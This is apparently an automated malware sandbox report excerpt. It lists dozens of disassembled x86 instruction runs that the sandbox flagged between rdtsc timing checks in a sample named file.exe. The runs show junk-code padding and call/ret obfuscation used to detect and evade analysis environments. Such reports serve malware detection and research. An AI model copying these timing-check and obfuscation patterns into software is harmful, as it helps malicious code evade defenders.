Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92542A second address: 92542E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923423 second address: 923429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923429 second address: 9234D8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F62C0F46578h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D2C35h] 0x0000002d push dword ptr fs:[00000000h] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F62C0F46578h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D1F5Ah] 0x00000054 mov dword ptr fs:[00000000h], esp 0x0000005b mov dword ptr [ebp+1243E570h], eax 0x00000061 mov eax, dword ptr [ebp+122D0915h] 0x00000067 xor ebx, dword ptr [ebp+122D1DCAh] 0x0000006d push FFFFFFFFh 0x0000006f mov edi, dword ptr [ebp+122D2B11h] 0x00000075 call 00007F62C0F46581h 0x0000007a movzx ebx, cx 0x0000007d pop ebx 0x0000007e nop 0x0000007f pushad 0x00000080 jnc 00007F62C0F46578h 0x00000086 push eax 0x00000087 push edx 0x00000088 jmp 00007F62C0F4657Dh 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9284B1 second address: 9284B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9284B7 second address: 9284C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C80F2 second address: 8C80F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C80F6 second address: 8C8117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62C0F46589h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8117 second address: 8C811F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBDB second address: 92BBDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBDF second address: 92BBE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBE5 second address: 92BC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F62C0F46584h 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jp 00007F62C0F46576h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BC0F second address: 92BC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F62C0B58F76h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62C0B58F7Dh 0x00000014 jno 00007F62C0B58F76h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BC31 second address: 92BC40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F4657Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB64B second address: 8CB64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9234D8 second address: 9234E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9234E5 second address: 9234E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9244E0 second address: 9244E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9244E5 second address: 92457A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62C0B58F7Bh 0x0000000f nop 0x00000010 movsx edi, ax 0x00000013 push dword ptr fs:[00000000h] 0x0000001a add ebx, dword ptr [ebp+122D1D1Bh] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F62C0B58F78h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov ebx, edi 0x00000043 mov eax, dword ptr [ebp+122D0D9Dh] 0x00000049 mov ebx, eax 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push edx 0x00000050 call 00007F62C0B58F78h 0x00000055 pop edx 0x00000056 mov dword ptr [esp+04h], edx 0x0000005a add dword ptr [esp+04h], 00000017h 0x00000062 inc edx 0x00000063 push edx 0x00000064 ret 0x00000065 pop edx 0x00000066 ret 0x00000067 mov bx, si 0x0000006a push eax 0x0000006b jc 00007F62C0B58F82h 0x00000071 js 00007F62C0B58F7Ch 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933961 second address: 93396B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933B03 second address: 933B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F62C0B58F8Dh 0x00000015 jmp 00007F62C0B58F87h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933B3F second address: 933B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392B7 second address: 9392D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0B58F7Ch 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007F62C0B58F76h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392D3 second address: 9392D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392D9 second address: 9392E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392E0 second address: 9392EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0F4657Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9392EF second address: 9392FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93985C second address: 939860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9399E1 second address: 9399E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939B46 second address: 939B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939B4C second address: 939B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939DC9 second address: 939DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jc 00007F62C0F46576h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939F2E second address: 939F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A1E8 second address: 93A1F8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnc 00007F62C0F46576h 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A1F8 second address: 93A200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A36D second address: 93A394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F4657Ah 0x00000007 jmp 00007F62C0F46586h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A394 second address: 93A3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0B58F7Eh 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A3AE second address: 93A3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422E8 second address: 9422EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422EC second address: 9422F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9422F0 second address: 942300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F62C0B58F76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942300 second address: 942304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908A47 second address: 8EF835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F62C0B58F87h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007F62C0B58F87h 0x00000014 nop 0x00000015 jmp 00007F62C0B58F88h 0x0000001a lea eax, dword ptr [ebp+1246E752h] 0x00000020 sub dword ptr [ebp+1243E63Fh], ebx 0x00000026 mov edx, dword ptr [ebp+122D2AE5h] 0x0000002c nop 0x0000002d jmp 00007F62C0B58F89h 0x00000032 push eax 0x00000033 jmp 00007F62C0B58F80h 0x00000038 nop 0x00000039 add dword ptr [ebp+122D2237h], eax 0x0000003f call dword ptr [ebp+12446933h] 0x00000045 jmp 00007F62C0B58F7Ah 0x0000004a push eax 0x0000004b push edx 0x0000004c jnp 00007F62C0B58F7Eh 0x00000052 push edx 0x00000053 pop edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908BA7 second address: 908BAC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908CA2 second address: 908CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F62C0B58F85h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908F4C second address: 908F5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007F62C0F46580h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90921F second address: 909223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909223 second address: 90922D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90922D second address: 909248 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0B58F78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], esi 0x0000000d xor dx, DAE5h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909248 second address: 90924C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90924C second address: 909252 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909461 second address: 909467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909467 second address: 90946C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909942 second address: 909946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909946 second address: 90997C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F62C0B58F83h 0x0000000f popad 0x00000010 nop 0x00000011 mov edi, 2A42ABFFh 0x00000016 push 0000001Eh 0x00000018 add dword ptr [ebp+122D1CEBh], esi 0x0000001e push eax 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007F62C0B58F76h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909AC5 second address: 909ACB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909C3B second address: 909C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941964 second address: 94196A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C00 second address: 941C05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C05 second address: 941C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941C0B second address: 941C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941D9D second address: 941DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0F46587h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9457A5 second address: 9457AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A76 second address: 8C4A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A7A second address: 8C4A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0B58F83h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AE2F second address: 94AE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949D16 second address: 949D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949E94 second address: 949E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A2A6 second address: 94A2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9499D3 second address: 9499D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9499D9 second address: 9499DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9499DF second address: 9499E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9499E5 second address: 9499E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9499E9 second address: 9499ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9506D8 second address: 9506DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F43F second address: 94F44F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F62C0F46576h 0x0000000a jne 00007F62C0F46576h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F44F second address: 94F453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F812 second address: 94F816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F816 second address: 94F82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F62C0B58F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F62C0B58F76h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FC6B second address: 94FC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FC6F second address: 94FC84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FC84 second address: 94FCA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F62C0F46576h 0x00000009 jns 00007F62C0F46576h 0x0000000f jns 00007F62C0F46576h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FCA0 second address: 94FCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FCA4 second address: 94FCA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FE53 second address: 94FE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0B58F87h 0x00000009 jno 00007F62C0B58F76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EEE8 second address: 94EEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EEEE second address: 94EEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EEF3 second address: 94EEFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95363D second address: 95365D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F62C0B58F76h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F62C0B58F7Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95379B second address: 95379F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95379F second address: 9537BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9537BD second address: 9537D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F62C0F46576h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f jnc 00007F62C0F46576h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9537D4 second address: 9537DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9564E1 second address: 9564E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9564E5 second address: 956510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F62C0B58F85h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F62C0B58F7Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95668A second address: 95669D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jl 00007F62C0F46576h 0x0000000c ja 00007F62C0F46576h 0x00000012 popad 0x00000013 rdtsc
